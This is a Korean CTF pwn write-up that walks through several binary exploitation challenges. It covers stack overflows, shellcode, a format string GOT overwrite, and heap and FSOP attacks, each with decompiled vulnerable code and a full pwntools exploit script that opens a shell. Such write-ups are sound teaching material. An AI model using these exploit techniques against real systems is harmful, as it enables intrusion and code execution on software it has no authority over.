#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
void secret()
{
printf("Congratulations! Here is your flag: ");
char *argv[] = {"/bin/cat", "flag.txt", NULL};
char *envp[] = {NULL};
execve("/bin/cat", argv, envp);
}
void vulnerable_function()
{
char buffer[64];
printf("Enter some text: ");
fgets(buffer, 128, stdin);
printf("You entered: %s\n", buffer);
}
int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Welcome to the Baby Pwn challenge!\n");
printf("Address of secret: %p\n", secret);
vulnerable_function();
printf("Goodbye!\n");
return 0;
}
secret()
을 호출하게 되면 flag가 출력된다.
vulnerable_function()
에서 BOF가 발생하는 것을 확인할 수 있는데, ret address 값을 secret 함수의 주소로 덮으면 된다.
from pwn import *
r = process("./baby-pwn")
pause()
secret_addr = 0x401166
ret_addr = 0x40101a
payload = b"A" * 0x48
payload += p64(ret_addr)
payload += p64(secret_addr)
r.sendlineafter(b"Enter some text: ", payload)
r.interactive()
16바이트 stack align 이슈로 ret 가젯을 하나 추가하였다.
#include <stdio.h>
#include <string.h>
void vulnerable_function()
{
char buffer[64];
printf("Stack address leak: %p\n", buffer);
printf("Enter some text: ");
fgets(buffer, 128, stdin);
}
int main()
{
setvbuf(stdout, NULL, _IONBF, 0);
printf("Welcome to the baby pwn 2 challenge!\n");
vulnerable_function();
printf("Goodbye!\n");
return 0;
}
vulnerable_function()
을 보면, stack 주소를 알려준 후, buffer에서 BOF가 발생한다.
스택이 executable이므로, vulnerable_function()
의 ret address를 buffer로 설정하고, buffer에는 쉘 코드를 집어넣으면 된다.
from pwn import *
# r = process("./baby-pwn-2")
r = remote("127.0.0.1", 5000)
shellcode = b"\x48\xb8\x2f\x62\x69\x6e\x2f\x73\x68\x00\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05"
r.recvuntil(b"leak: ")
buffer_addr = int(r.recvline()[:-1], 16)
r.success(f"buffer addr: f{hex(buffer_addr)}")
payload = shellcode
payload += b"A" * (0x48 - len(shellcode))
payload += p64(buffer_addr)
r.sendlineafter(b"text: ", payload)
r.interactive()
int vuln()
{
char buf; // [rsp+7h] [rbp-9h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, &buf, 0x100uLL);
return printf(&buf);
}
buf에 대해 FSB가 발생한다.
FSB를 이용하여 ___stack_chk_fail()
함수의 GOT entry를 vuln()
함수로 수정하게 되면, vuln()함수를 2번 호출할 수 있게 된다.
첫 번째 vuln()
호출 시 libc 주소와 canary를 leak 한 후, 두 번째 vuln()
호출 시 leak한 정보를 바탕으로 ROP를 진행하면 된다.
FSB를 이용할 때, GOT entry의 주소 및 vuln() 함수의 주소를 찾는 과정에서 1바이트의 브루트 포싱이 필요하다.
from pwn import *
# r = process("./chall")
while True:
r = remote("127.0.0.1", 5000)
payload = b"%3$p\n%35$p\n%31$p\n"
payload += b"%4543c%17$hn"
payload += b"A" * (11 * 8 - len(payload) - 7)
payload += p16(0x4018)
r.send(payload)
libc_base = int(r.recvline()[:-1], 16) - 0x11ba61
pie_base = int(r.recvline()[:-1], 16) - 0x3df0
canary = int(r.recvline()[:-1], 16)
if pie_base & 0xffff == 0:
break
r.close()
pause()
r.success(f"libc base: {hex(libc_base)}")
r.success(f"pie base: {hex(pie_base)}")
r.success(f"canary: {hex(canary)}")
payload = b"A"
payload += p64(canary)
payload += b"A" * 0x8
payload += p64(libc_base + 0x000000000010f75b) # pop rdi
payload += p64(libc_base + 0x1cb42f) # /bin/sh
payload += p64(libc_base + 0x000000000010f75c) # ret
payload += p64(libc_base + 0x58740) # system
r.sendafter(b"A" * 52, payload)
r.interactive()
혹시 몰라서 PIE leak도 진행하였는데, 따로 쓰이지는 않았다.
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-8h]
int Choice; // [rsp+Ch] [rbp-4h]
setup();
printf("How long will your book be: ");
__isoc99_scanf("%ld", &bookSize);
book = malloc(bookSize);
printf("Contents of the book: ");
read(0, book, bookSize);
...
}
main() 함수를 보면, 직접 malloc하는 사이즈를 입력받는 것을 확인할 수 있다.
unsigned __int64 editBook()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Where do you want to edit: ");
__isoc99_scanf("%d", &v1);
while ( getchar() != 10 )
;
if ( v1 < bookSize )
{
printf("What do you want to edit: ");
printf("%p", (const void *)(-v1 + bookSize - 1));
read(0, (char *)book + v1, -v1 + bookSize - 1);
}
else
{
printf("Please dont edit ouside of the book.");
}
return v2 - __readfsqword(0x28u);
}
editBook() 함수를 통해 malloc()을 한 주소에 원하는 값으로 수정이 가능하다.
중간의 -v1 + bookSize - 1
부분은 unsigned 연산으로, v1에 양수가 들어가기만 한다면 사실상 임의 길이의 write가 가능하다.
만약 malloc()이 실패한다면, book값은 0으로 설정이 될 것이고, 그로 인해 editBook()에서 v1값을 통해 AAW가 가능하게 된다. 게다가, PIE가 적용되지 않았으므로, book 변수 자체를 원하는 값으로 수정이 가능하다.
그러므로 bookSize를 -1로 설정하면, malloc()은 실패하여 book이 0이 되고, v1 < bookSize
는 unsigned 연산이므로 v1이 음수가 아닌 이상 항상 성공하게 된다.
이것을 이용하여 다음 과정을 수행할 수 있다.
from pwn import *
# r = process("./chall_patched")
r = remote("127.0.0.1", 5000)
def getChoice(cmd):
r.sendlineafter(b"> ", str(cmd).encode())
def editBook(pos, data):
getChoice(1)
r.sendlineafter(b"edit: ", str(pos).encode())
r.sendlineafter(b"edit: ", data)
def readBook():
getChoice(2)
def exitBook():
getChoice(3)
r.sendlineafter(b"book be: ", b"-1")
editBook(0x404030, p64(0x404020))
readBook()
# libc leak
r.recvuntil(b"book: ")
libc_base = u64(r.recvline()[:-1].ljust(8, b"\x00")) - 0x2038e0
r.success(f"libc base: {hex(libc_base)}")
# set book to stderr
editBook(0x10, p64(libc_base + 0x2044e0 - 0x10))
# FSOP
payload = b"\x01\x01\x01\x01;sh;"
payload += p64(0) * 4
payload += p64(1)
payload += p64(0) * 7
payload += p64(libc_base + 0x58740) # system
payload += p64(0) * 3
payload += p64(0x404800) # writable addr
payload += p64(0) * 2
payload += p64(libc_base + 0x2044e0 - 0x10) # stderr - 0x10
payload += p64(0) * 5
payload += p64(libc_base + 0x2044e0) # stderr
payload += p64(libc_base + 0x202228) # _IO_wfile_jumps
editBook(0x10, payload)
r.sendline(b"3")
r.interactive()
void sort()
{
_BYTE *v0; // rax
__int64 *v1; // rax
int i; // [rsp+Ch] [rbp-134h]
int c; // [rsp+10h] [rbp-130h]
int j; // [rsp+14h] [rbp-12Ch]
int v5; // [rsp+18h] [rbp-128h]
int v6; // [rsp+1Ch] [rbp-124h]
__int64 *v7; // [rsp+20h] [rbp-120h]
char *buf; // [rsp+28h] [rbp-118h]
__int64 v9[34]; // [rsp+30h] [rbp-110h] BYREF
v9[33] = __readfsqword(0x28u);
memset(v9, 0, 256);
v7 = v9;
buf = (char *)malloc(0x200uLL);
v5 = read(0, buf, 0x200uLL);
for ( i = 0; i < v5; ++i )
{
v0 = (char *)v9 + buf[i];
++*v0;
}
free(buf);
for ( c = 0; c <= 255; ++c )
{
v1 = v7;
v7 = (__int64 *)((char *)v7 + 1);
v6 = *(unsigned __int8 *)v1;
for ( j = 0; j < v6; ++j )
putchar(c);
}
}
배열을 통해 sort하여 결과를 출력해 주는 함수이다.
하지만, 첫 번째 for문의 buf[i] 부분이 음수 i값에 대한 예외처리가 되어있지 않고, 이를 이용하여 다른 지역변수의 수정이 가능하다.
즉, v7의 값을 증가시키게 되면, 두 번째 for문을 통해 libc leak이 가능하다.
IDA로 분석하였을 때에는 v0 = (char *)v9 + buf[i];
로 표현이 되어 있지만, 실제 어셈블리를 보면
loc_13CE:
mov eax, [rbp+var_134]
movsxd rdx, eax
mov rax, [rbp+buf]
add rax, rdx
movzx eax, byte ptr [rax]
movsx rdx, al
mov rax, [rbp+var_120]
add rax, rdx
movzx edx, byte ptr [rax]
로, 사실상 v0 = (char *)v7 + buf[i];
임을 알 수 있다.
즉, 음수 i값을 이용하여 v7값을 원하는 주소로 바꿀 수 있고, 이 값을 다시 활용해 원하는 주소의 값을 ++시킬 수 있는 것이다.
이를 이용하여 return address값을 main함수의 sort()
를 호출하는 주소로 변경시키면, 반복적으로 sort()
를 호출하여 stack에 원하는 만큼의 write이 가능하다.
정리하면 다음과 같다.
sort()
를 호출하는 위치로 바꾼다.sort()
함수가 다시 호출된다.sort()
함수가 반복되게 호출되게 하고, stack의 값을 수정하여 ROP를 수행한다.from pwn import *
# r = process("./chall_patched")
r = remote("127.0.0.1", 5000)
def to_uchar(ch):
if ch < 0:
return 256 + ch
else:
return ch
def modify_stack(offset, before, after):
payload = p8(to_uchar(-15)) + p8(to_uchar(24)) * 0xf6
mask = 0xff
for i in range(8):
bef_byte = (before & mask) >> (8 * i)
aft_byte = (after & mask) >> (8 * i)
r.send((payload + p8(offset + i) * to_uchar(aft_byte - bef_byte)).ljust(0x200, b"\x00"))
mask <<= 8
r.send(p8(to_uchar(-15)) + p8(to_uchar(24)) * 0xf6)
list = [0 for _ in range(256)]
leak = r.recvuntil(b"\xed")
for i in leak:
list[i] += 1
rop_0 = 0
for i in range(8):
rop_0 += (list[40 + i] << (i * 8))
libc_base = rop_0 - 0x2a1ca
rop_1 = 0
for i in range(8):
rop_1 += (list[48 + i] << (i * 8))
rop_2 = 0
for i in range(8):
rop_2 += (list[56 + i] << (i * 8))
rop_3 = 0
for i in range(8):
rop_3 += (list[64 + i] << (i * 8))
r.success(f"libc base: {hex(libc_base)}")
pause()
modify_stack(40, rop_0, libc_base + 0x10f75b) # pop rdi
modify_stack(48, rop_1, libc_base + 0x1cb42f) # /bin/sh
modify_stack(56, rop_2, libc_base + 0x10f75c) # ret
modify_stack(64, rop_3, libc_base + 0x58740) # system
r.send(b"\x00" * 0x200)
r.interactive()
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+8h] [rbp-28h] BYREF
unsigned int v5; // [rsp+Ch] [rbp-24h] BYREF
int v6; // [rsp+10h] [rbp-20h]
int Choice; // [rsp+14h] [rbp-1Ch]
__int64 v8; // [rsp+18h] [rbp-18h] BYREF
__int64 HashTable; // [rsp+20h] [rbp-10h]
unsigned __int64 v10; // [rsp+28h] [rbp-8h]
v10 = __readfsqword(0x28u);
setup(argc, argv, envp);
menu();
v6 = 1;
while ( v6 )
{
Choice = getChoice();
if ( Choice == 4 )
{
v6 = 0;
}
else
{
if ( Choice > 4 )
goto LABEL_19;
switch ( Choice )
{
case 3: // GET
printf("Index: ");
__isoc99_scanf("%d", &v4);
printf("Key: ");
__isoc99_scanf("%d", &v5);
HashTable = getHashTable((char *)&hashTables + 16 * (int)v4, v5);
if ( *(_DWORD *)HashTable == v5 )
printf("Value: %.8s", (const char *)(HashTable + 4));
else
puts("Not found");
break;
case 1: // NEW
printf("Index: ");
__isoc99_scanf("%d", &v4);
if ( v4 >= 0x14 )
exit(0);
if ( qword_4048[2 * (int)v4] )
{
puts("That index has been used");
}
else
{
printf("Size: ");
__isoc99_scanf("%ld", &v8);
if ( (unsigned int)allocHashTable(v8, (char *)&hashTables + 16 * (int)v4) )
{
printf("Allocation failed");
exit(0);
}
}
break;
case 2: // SET
printf("Index: ");
__isoc99_scanf("%d", &v4);
printf("Key: ");
__isoc99_scanf("%d", &v5);
HashTable = getHashTable((char *)&hashTables + 16 * (int)v4, v5);
*(_DWORD *)HashTable = v5;
printf("Value: ");
read(0, (void *)(HashTable + 4), 8uLL);
break;
default:
LABEL_19:
puts("That is not an option");
break;
}
}
}
return 0;
}
main()
함수에서는 hash table의 할당, 조회, 수정 기능이 구현되어 있다.
각각을 NEW, GET, SET이라고 부를 것이다.
__int64 __fastcall getHashTable(_QWORD *a1, int a2)
{
unsigned __int64 v3; // [rsp+10h] [rbp-10h]
__int64 v4; // [rsp+18h] [rbp-8h]
v3 = (unsigned __int64)a2 % *a1;
v4 = a1[1];
while ( a2 != *(_DWORD *)(12 * v3 + v4) && memcmp(&empty, (const void *)(12 * v3 + v4), 0xCuLL) )
++v3;
return 12 * v3 + v4;
}
getHashTable()
함수에서 while문의 로직을 계속 만족시키게 한다면 Heap overflow가 발생하게 된다. 이를 GET, SET과 연계시키면 OOB read / write가 가능하게 된다.
위의 취약점을 이용하여 사용할 기법은 다음과 같다.
libc leak 과정은 다음과 같다.
heap leak의 경우, libc leak과 동일하지만 top chunk의 size만 tcache bin에 들어가도록 설정하면 된다.
AAW 과정은 다음과 같다.
위 방법들을 토대로 하여 FSOP를 진행하면 된다.
malloc()
이 호출되는 단위가 12의 배수이므로, 원하는대로 AAW가 일어나지 않아 stderr→wide_data
주소는 heap 영역을 활용하였다.
from pwn import *
r = remote("127.0.0.1", 5000)
# r = process("./chall_patched")
def choice(cmd):
r.sendlineafter(b"> ", str(cmd).encode())
def new_hash_table(idx, size):
choice(1)
r.sendlineafter(b"Index: ", str(idx).encode())
r.sendlineafter(b"Size: ", str(size).encode())
def set_entry(idx, key, val):
choice(2)
r.sendlineafter(b"Index: ", str(idx).encode())
r.sendlineafter(b"Key: ", str(key).encode())
r.sendafter(b"Value: ", val)
def get_entry(idx, key):
choice(3)
r.sendlineafter(b"Index: ", str(idx).encode())
r.sendlineafter(b"Key: ", str(key).encode())
new_hash_table(0, 0x4)
for i in range(1, 4 + 1):
set_entry(0, i, b"A" * 8)
set_entry(0, 0, p64(0xd3100000000))
# libc leak
new_hash_table(1, 0x13c)
set_entry(0, 0, p64(0))
set_entry(0, 5, p64(0xd1100000000))
get_entry(0, 0)
r.recvuntil(b"Value: ")
libc_base = u64(r.recvn(6).ljust(8, b"\x00")) - 0x203b20
r.success(f"libc_base: {hex(libc_base)}")
# first chunk to AAW
for i in range(1, 0x13c + 1):
set_entry(1, i, b"A" * 8)
set_entry(1, 0, p64(0x12100000000))
new_hash_table(2, 0x13c)
set_entry(1, 0, p64(0))
set_entry(1, 0x13d, p64(0x10100000000))
get_entry(1, 0)
r.recvuntil(b"Value: ")
heap_encode = u64(r.recvn(5).ljust(8, b"\x00")) + 0x22
r.success(f"heap_encode: {hex(heap_encode)}")
for i in range(1, 0x13c + 1):
set_entry(2, i, b"A" * 8)
set_entry(2, 0, p64(0x12100000000))
new_hash_table(3, 0x13c)
set_entry(2, 0, p64(0))
set_entry(2, 0x13d, p64(0x10100000000))
set_entry(2, 0, p64((libc_base + 0x2044e0 - 0x10) ^ heap_encode))
new_hash_table(4, 0x14)
new_hash_table(5, 0x14)
# second chunk to AAW
for i in range(1, 0x13c + 1):
set_entry(3, i, b"A" * 8)
set_entry(3, 0, p64(0x12100000000))
new_hash_table(6, 0x13c)
for i in range(1, 0x13c + 1):
set_entry(6, i, b"A" * 8)
set_entry(6, 0, p64(0x12100000000))
new_hash_table(7, 0x13c)
set_entry(6, 0, p64(0))
set_entry(6, 0x13d, p64(0x10100000000))
set_entry(6, 0, p64((libc_base + 0x2044e0 + 0x20) ^ (heap_encode + 0x22 * 2)))
new_hash_table(8, 0x14)
new_hash_table(9, 0x14)
# third chunk to AAW
for i in range(1, 0x13c + 1):
set_entry(7, i, b"A" * 8)
set_entry(7, 0, p64(0x12100000000))
new_hash_table(10, 0x13c)
for i in range(1, 0x13c + 1):
set_entry(10, i, b"A" * 8)
set_entry(10, 0, p64(0x12100000000))
new_hash_table(11, 0x13c)
set_entry(10, 0, p64(0))
set_entry(10, 0x13d, p64(0x10100000000))
set_entry(10, 0, p64((libc_base + 0x2044e0 + 0x90) ^ (heap_encode + 0x22 * 4)))
new_hash_table(12, 0x14)
new_hash_table(13, 0x14)
# fourth chunk to AAW
for i in range(1, 0x13c + 1):
set_entry(11, i, b"A" * 8)
set_entry(11, 0, p64(0x12100000000))
new_hash_table(14, 0x13c)
for i in range(1, 0x13c + 1):
set_entry(14, i, b"A" * 8)
set_entry(14, 0, p64(0x12100000000))
new_hash_table(15, 0x13c)
set_entry(14, 0, p64(0))
set_entry(14, 0x13d, p64(0x10100000000))
set_entry(14, 0, p64((libc_base + 0x2044e0 + 0xb0) ^ (heap_encode + 0x22 * 6)))
new_hash_table(16, 0x14)
new_hash_table(17, 0x14)
# FSOP - stderr
fake_wide_data = (heap_encode << 12) + 0xee010
r.success(f"fake_wide_data: {hex(fake_wide_data)}")
set_entry(5, 0x14, p64(0))
set_entry(5, 0, b"\x01\x01\x01\x01;sh;")
set_entry(9, 0, p64(0x100000000))
set_entry(13, 0, p64(fake_wide_data + 0x20))
set_entry(17, 0x14, p64(0))
set_entry(17, 0x14 * 2, p64(0))
set_entry(17, 0x14 * 3, p64(0))
set_entry(17, 0, p64(libc_base + 0x202228))
# FSOP - wide_data
set_entry(15, 21, p64(fake_wide_data + 0x20))
set_entry(15, 11, p64(libc_base + 0x58740))
# exit
choice(4)
r.interactive()